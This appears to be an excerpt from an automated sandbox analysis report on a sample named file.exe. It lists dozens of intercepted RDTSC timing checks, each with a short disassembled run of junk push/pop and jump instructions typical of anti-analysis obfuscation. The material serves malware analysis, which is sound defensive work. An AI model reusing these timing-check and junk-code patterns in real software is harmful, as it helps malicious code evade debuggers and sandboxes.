Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4969F second address: C496CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F33593F05C7h 0x0000000b popad 0x0000000c jmp 00007F33593F05BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4980A second address: C49810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A10F second address: C4A119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A119 second address: C4A11D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4A11D second address: C4A121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48918 second address: C48924 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F33593F59B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C48924 second address: C48940 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D6BD second address: C4D6F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33593F59C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D046 second address: C4D07E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33593F05B6h 0x00000008 jmp 00007F33593F05BBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F33593F05C5h 0x00000014 pushad 0x00000015 jmp 00007F33593F05BBh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D1BD second address: C4D1F6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F33593F59B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F33593F59BAh 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F33593F59C4h 0x00000016 jmp 00007F33593F59BBh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D1F6 second address: C4D1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D1FC second address: C4D200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D200 second address: C4D206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D342 second address: C4D37C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F33593F59C0h 0x0000000c push esi 0x0000000d pop esi 0x0000000e jns 00007F33593F59B6h 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F33593F59C1h 0x0000001b push edi 0x0000001c pop edi 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D37C second address: C4D38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D38A second address: C4D38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D38E second address: C4D394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C4D394 second address: C4D3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F33593F59C6h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C512BA second address: C512C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C512C0 second address: C512C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C50E1C second address: C50E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F33593F05B6h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C50E27 second address: C50E2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57981 second address: C579A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F33593F05BEh 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C579A9 second address: C579B5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F33593F59B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5655B second address: C56563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56563 second address: C56567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00B34 second address: C00B42 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00B42 second address: C00B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56CD0 second address: C56CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AFB5 second address: C5AFBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AFBB second address: C5AFC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AFC2 second address: C5AFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F33593F59B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007F33593F59BEh 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F33593F59B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AFE6 second address: C5AFEC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AFEC second address: C5AFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B14E second address: C5B158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E6EF second address: C5E6F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E6F3 second address: C5E6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5DF2C second address: C5DF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33593F59B6h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5DF3C second address: C5DF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E090 second address: C5E0AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33593F59BEh 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jnp 00007F33593F59B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5E0AF second address: C5E0C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33593F05BEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64B64 second address: C64B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64B68 second address: C64B7D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jg 00007F33593F05B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64B7D second address: C64B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64CC0 second address: C64CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64CC6 second address: C64CDD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F33593F59BAh 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64CDD second address: C64CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64CE2 second address: C64D12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33593F59C5h 0x00000008 jmp 00007F33593F59C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64FC2 second address: C64FDE instructions: 0x00000000 rdtsc 0x00000002 je 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push edi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jns 00007F33593F05B6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C652A0 second address: C652A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C652A4 second address: C652AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C652AA second address: C652B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C655DC second address: C655E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C655E0 second address: C65613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F33593F59C0h 0x0000000f jmp 00007F33593F59C9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C65EE5 second address: C65EEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B5FF second address: C6B603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6A770 second address: C6A7C3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F33593F05B6h 0x00000008 jmp 00007F33593F05C7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F33593F05BFh 0x00000015 jmp 00007F33593F05C2h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 je 00007F33593F05BAh 0x00000026 pushad 0x00000027 popad 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6A7C3 second address: C6A7C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AC9A second address: C6ACAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 js 00007F33593F05B6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AE1E second address: C6AE3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F33593F59B8h 0x0000000e popad 0x0000000f pushad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 push edx 0x00000017 jc 00007F33593F59B6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AF69 second address: C6AF6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AF6F second address: C6AF99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 jnl 00007F33593F59C4h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F33593F59BAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6AF99 second address: C6AFB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F33593F05B6h 0x0000000a jmp 00007F33593F05C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B10E second address: C6B112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B112 second address: C6B116 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B2CD second address: C6B2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B2D4 second address: C6B2D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B2D9 second address: C6B2F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33593F59BDh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F33593F59B6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C6B2F7 second address: C6B325 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F33593F05C5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C758A6 second address: C758D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33593F59C3h 0x00000009 jmp 00007F33593F59C3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75D43 second address: C75D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33593F05C0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75EAD second address: C75EB7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33593F59B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75FEF second address: C76003 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F33593F05B6h 0x00000008 je 00007F33593F05B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76003 second address: C76007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76007 second address: C76046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F33593F05BAh 0x0000000e jmp 00007F33593F05C8h 0x00000013 popad 0x00000014 push edx 0x00000015 jc 00007F33593F05BEh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76192 second address: C761A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jne 00007F33593F59B6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76308 second address: C7630E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7630E second address: C76312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76312 second address: C7632C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05BCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F33593F05B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7632C second address: C76334 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76334 second address: C76344 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33593F05BAh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76344 second address: C76348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C754A3 second address: C754A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C754A9 second address: C754AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C754AF second address: C754B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C754B3 second address: C754EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F33593F59B8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F33593F59C7h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 jng 00007F33593F59B8h 0x0000001e push ebx 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D16E second address: C7D182 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F33593F05B6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D182 second address: C7D1AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59C9h 0x00000007 jmp 00007F33593F59BFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D1AE second address: C7D1D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C4h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F33593F05BBh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D1D4 second address: C7D1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jp 00007F33593F59B8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F33593F59C3h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7D1FB second address: C7D1FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7E6E5 second address: C7E6F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F33593F59BCh 0x0000000b jl 00007F33593F59B6h 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81A7F second address: C81A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81A87 second address: C81A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81A8E second address: C81AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F33593F05BCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81AA0 second address: C81AAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81AAC second address: C81AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
